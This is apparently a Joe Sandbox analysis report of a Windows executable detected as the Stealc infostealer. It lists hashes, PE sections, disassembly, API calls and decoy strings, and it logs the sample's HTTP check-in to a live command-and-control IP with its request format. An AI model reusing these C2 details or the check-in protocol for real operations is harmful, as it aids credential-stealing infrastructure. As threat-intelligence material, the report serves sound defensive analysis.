Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 92
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947988679118368
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'838'592 bytes
MD5:	2e51f94d1dc93d7faaf5da2708fed2de
SHA1:	3e9f21e5c0154ea1eb6ad2829ec86bfdd8ef178c
SHA256:	cc6b3fcb986b487a1e9fdb5d0a0fc23ff1ea90cbc55733439c83898eb189773f
SHA512:	d65a4258c9578444fdb91a0cab3fae265e9e5eb0e0fa6dbf7344e4dc47f10536b0689e1406b4e52ae7bb39f71d8f205fa5257d1d7f64a10c6076473d24985c0a
SSDEEP:	49152:F3RkDDb9IiLFnZq/7DLx5mhkUsKa9Q3lr:4HFCXx9U1am3h
TLSH:	2A85335CFECD7DB8F70D773A803D5AA95E206793039C31E984820679625318A9FF0A67
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa97000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA43051845Ah
paddsb mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	19fb598d8c0b44d706761440c327a7f2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29d000	0x200	1947f1efdd5e8b3934ebb10148463d9a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eyyunreg	0x4fb000	0x19b000	0x19ac00	5800e116ecc9e0aa3b886b6d473bb0ef	False	0.9950084163877054	data	7.954155944105544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cayhnmlo	0x696000	0x1000	0x400	633cb3f174521b23208a1645ee71c5ca	False	0.7919921875	data	6.173438865718246	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x697000	0x3000	0x2200	e2101cef3a168c9144935d02aa23789c	False	0.060546875	DOS executable (COM)	0.7242961351499368	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-14T03:58:03.786676+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 14, 2024 03:58:02.844085932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 03:58:02.849061966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 03:58:02.849351883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 03:58:02.849592924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 03:58:02.854419947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 03:58:03.555542946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 03:58:03.555866957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 03:58:03.559432983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 03:58:03.564323902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 03:58:03.786614895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 03:58:03.786675930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 03:58:06.722495079 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	6756	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 03:58:02.849592924 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 14, 2024 03:58:03.555542946 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 01:58:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 14, 2024 03:58:03.559432983 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFID Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 37 33 46 39 33 44 46 30 30 33 32 38 33 38 39 36 32 36 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="hwid"E1473F93DF003283896264------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="build"doma------GIEHJDHCBAEHJJJKKFID--
Oct 14, 2024 03:58:03.786614895 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 01:58:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	21:57:59
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x2e0000
File size:	1'838'592 bytes
MD5 hash:	2E51F94D1DC93D7FAAF5DA2708FED2DE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2061630664.0000000005130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2102958941.000000000130E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 002F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01320798), ref: 002F98A1
GetProcAddress.KERNEL32(75900000,013207B0), ref: 002F98BA
GetProcAddress.KERNEL32(75900000,01320660), ref: 002F98D2
GetProcAddress.KERNEL32(75900000,013206C0), ref: 002F98EA
GetProcAddress.KERNEL32(75900000,01320810), ref: 002F9903
GetProcAddress.KERNEL32(75900000,013289A0), ref: 002F991B
GetProcAddress.KERNEL32(75900000,013166E0), ref: 002F9933
GetProcAddress.KERNEL32(75900000,013166A0), ref: 002F994C
GetProcAddress.KERNEL32(75900000,01320828), ref: 002F9964
GetProcAddress.KERNEL32(75900000,013207C8), ref: 002F997C
GetProcAddress.KERNEL32(75900000,01320840), ref: 002F9995
GetProcAddress.KERNEL32(75900000,01320570), ref: 002F99AD
GetProcAddress.KERNEL32(75900000,01316A20), ref: 002F99C5
GetProcAddress.KERNEL32(75900000,013206D8), ref: 002F99DE
GetProcAddress.KERNEL32(75900000,01320558), ref: 002F99F6
GetProcAddress.KERNEL32(75900000,013168A0), ref: 002F9A0E
GetProcAddress.KERNEL32(75900000,01320588), ref: 002F9A27
GetProcAddress.KERNEL32(75900000,013208B8), ref: 002F9A3F
GetProcAddress.KERNEL32(75900000,013168E0), ref: 002F9A57
GetProcAddress.KERNEL32(75900000,013208A0), ref: 002F9A70
GetProcAddress.KERNEL32(75900000,01316980), ref: 002F9A88
LoadLibraryA.KERNEL32(01320918,?,002F6A00), ref: 002F9A9A
LoadLibraryA.KERNEL32(01320888,?,002F6A00), ref: 002F9AAB
LoadLibraryA.KERNEL32(013208D0,?,002F6A00), ref: 002F9ABD
LoadLibraryA.KERNEL32(013208E8,?,002F6A00), ref: 002F9ACF
LoadLibraryA.KERNEL32(01320900,?,002F6A00), ref: 002F9AE0
GetProcAddress.KERNEL32(75070000,01320858), ref: 002F9B02
GetProcAddress.KERNEL32(75FD0000,01320870), ref: 002F9B23
GetProcAddress.KERNEL32(75FD0000,01328D60), ref: 002F9B3B
GetProcAddress.KERNEL32(75A50000,01328C88), ref: 002F9B5D
GetProcAddress.KERNEL32(74E50000,01316820), ref: 002F9B7E
GetProcAddress.KERNEL32(76E80000,01328830), ref: 002F9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 002F9BB6

Strings

NtQueryInformationProcess, xrefs: 002F9BAA

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 117fb8522f797b90a8de9bf53af7bcd302b2d15e87de664398eef77ed47e074f
Instruction ID: 39216a478210e6dbc83d92199b840f5c85ef397e055d3f487192f8b257407370
Opcode Fuzzy Hash: 117fb8522f797b90a8de9bf53af7bcd302b2d15e87de664398eef77ed47e074f
Instruction Fuzzy Hash: 1FA182B55002409FD368EF68FE88A6637F9FF6E301708452AE605C3225D739A44BFB56

Function 002E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 002E460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 002E479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46D8

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by 